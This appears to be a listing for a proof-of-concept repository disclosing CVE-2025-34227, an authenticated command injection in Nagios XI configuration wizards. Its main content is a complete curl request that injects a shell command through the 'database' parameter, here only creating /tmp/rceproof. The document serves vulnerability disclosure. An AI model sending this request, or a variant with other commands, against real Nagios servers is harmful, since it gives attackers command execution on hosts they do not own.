CVE-2025-34227 PoC — Nagios XI < 2026R1 Configuration Wizard Authenticated Command Injection

Source

https://github.com/mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

Associated Vulnerability

Title:Nagios XI < 2026R1 Configuration Wizard Authenticated Command Injection (CVE-2025-34227)
Description:Nagios XI < 2026R1 is vulnerable to an authenticated command injection vulnerability within the MongoDB Database, MySQL Query, MySQL Server, Postgres Server, and Postgres Query wizards. It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the `nagios` user.

Description

Simple proof of concept repository for CVE-2025-34227 Nagios XI authenticated command injection in Configuration Wizard

Readme

# CVE-2025-34227 Nagios XI Authenticated Command Injection in `Configuration Wizard`
Simple proof of concept repository for CVE-2025-34227, an authenticated command injection in Nagios XI -> `Configuration Wizard`

Full writeup here: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/


## `curl` Proof of Concept
The payload below is in the `database` parameter: `;touch /tmp/rceproof;`.

After authenticating, add your `Cookie: nagiosxi=` session id and add your `nsp` value to the POST body:
```
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php
```

File Snapshot

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